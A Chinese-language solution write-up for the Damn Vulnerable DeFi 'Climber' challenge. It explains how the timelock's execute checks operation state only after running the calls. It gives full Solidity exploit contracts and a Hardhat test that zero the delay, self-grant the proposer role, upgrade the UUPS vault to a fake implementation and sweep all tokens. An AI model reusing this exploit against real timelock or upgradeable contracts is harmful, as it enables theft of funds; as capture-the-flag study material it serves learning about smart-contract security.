有一个安全保险库合约,保管着1000万个DVT代币。该保险库是可升级的,遵循UUPS模式。
保险库的所有者目前是一个时间锁合约,每15天可以提取一小部分代币。
在保险库中还有一个额外的角色,在紧急情况下可以清空所有代币。
在时间锁合约上,只有具有“提案者”角色的帐户才能安排一小时后执行的操作。
要通过这个挑战,从保险库中取走所有代币。
这次挑战很有意思,解题有点绕。
我们的目的是调用ClimberVault.sol中sweepFunds方法获取所有币,但是这样个方法被onlySweeper限制了,_sweeper在构造函数中就被设置了,好像没戏了。但是合约使用的是UUPS代理模式,如果能获取合约管理权限,重新部署合约,再去掉onlySweeper限制,就可以达到目的了。如何获得合约管理权限呢?构造函数中transferOwnership(address(new ClimberTimelock(admin, proposer)));
意思合约管理权限给了ClimberTimelock
合约,好,问题转移,想办法让ClimberTimelock
的升级ClimberVault.sol。
观察ClimberTimelock.sol合约中execute方法中的functionCallWithValue执行逻辑居然早于if (getOperationState(id) != OperationState.ReadyForExecution) { revert NotReadyForExecution(id); }
,可以在functionCallWithValue执行逻辑中执行注册operations相关逻辑,就可以通过上面断言。
schedule方法被onlyRole(PROPOSER_ROLE)修饰器限制,无法直接调用。但是构造函数中已经给当前合约赋值了ADMIN_ROLE角色管理员,PROPOSER_ROLE组的管理员也是ADMIN_ROLE,所以可以通过AccessControl合约中的grantRole(bytes32,address)设置当前合约加入PROPOSER_ROLE组,这样就可以通过onlyRole(PROPOSER_ROLE)修饰器限制。
执行execute还有个限制,注册operations需要加delay才可以执行,updateDelay方法中限制了当前合约才可以修改,所以可以在注册operations逻辑中修改delay时间等于0。
最后再调用ClimberVault.sol中的upgradeTo(address)升级新的合约地址,新的合约内容很简单,就是转账给攻击者逻辑。
创建AttackClimber.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {ClimberTimelock} from "./ClimberTimelock.sol";
import {ClimberVault} from "./ClimberVault.sol";
import {ADMIN_ROLE, PROPOSER_ROLE, MAX_TARGETS, MIN_TARGETS, MAX_DELAY} from "./ClimberConstants.sol";
import {FakeClimberVault} from "./FakeClimberVault.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
contract AttackClimber {
ClimberTimelock public climberTimelock;
ClimberVault public climberVault;
address token;
address[] myArray;
bytes[] myBytes;
uint256[] myValue = [0, 0, 0, 0];
constructor(
address payable climberTimelockAddrss,
address payable climberVaultAddress,
address tokenAddress
) {
climberTimelock = ClimberTimelock(climberTimelockAddrss);
climberVault = ClimberVault(climberVaultAddress);
token = tokenAddress;
}
function Attack() public {
FakeClimberVault fackVault = new FakeClimberVault();
address delayDataAddress = address(climberTimelock);
myArray.push(delayDataAddress);
bytes memory updateDelayData = abi.encodeWithSelector(
bytes4(keccak256(bytes("updateDelay(uint64)"))),
0
);
myBytes.push(updateDelayData);
address grantRoleRoleAddress = address(climberTimelock);
myArray.push(grantRoleRoleAddress);
bytes memory grantRoleData = abi.encodeWithSelector(
bytes4(keccak256(bytes("grantRole(bytes32,address)"))),
PROPOSER_ROLE,
address(this)
);
myBytes.push(grantRoleData);
address upgradeToAddress = address(climberVault);
myArray.push(upgradeToAddress);
bytes memory upgradeToData = abi.encodeWithSelector(
bytes4(keccak256(bytes("upgradeTo(address)"))),
address(fackVault)
);
myBytes.push(upgradeToData);
address scheduleAddress = address(this);
myArray.push(scheduleAddress);
bytes memory scheduleData = abi.encodeWithSelector(
bytes4(keccak256("schedule()"))
);
myBytes.push(scheduleData);
climberTimelock.execute(myArray, myValue, myBytes, "");
climberVault.sweepFunds(token);
SafeTransferLib.safeTransfer(
token,
msg.sender,
IERC20(token).balanceOf(address(this))
);
}
function schedule() public {
climberTimelock.schedule(myArray, myValue, myBytes, "");
}
}
创建FakeClimberVault.sol (只有转账逻辑)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./ClimberTimelock.sol";
import {CallerNotSweeper, InvalidWithdrawalAmount, InvalidWithdrawalTime} from "./ClimberErrors.sol";
/**
* @title ClimberVault
* @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FakeClimberVault is UUPSUpgradeable {
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {}
// Allows trusted sweeper account to retrieve any tokens
function sweepFunds(address token) external {
SafeTransferLib.safeTransfer(
token,
msg.sender,
IERC20(token).balanceOf(address(this))
);
}
// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal override {}
}
climber.challenge.js
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const attackFactory = await ethers.getContractFactory('AttackClimber');
const attackContract = await attackFactory.deploy(timelock.address, vault.address, token.address);
await attackContract.connect(player).Attack();
});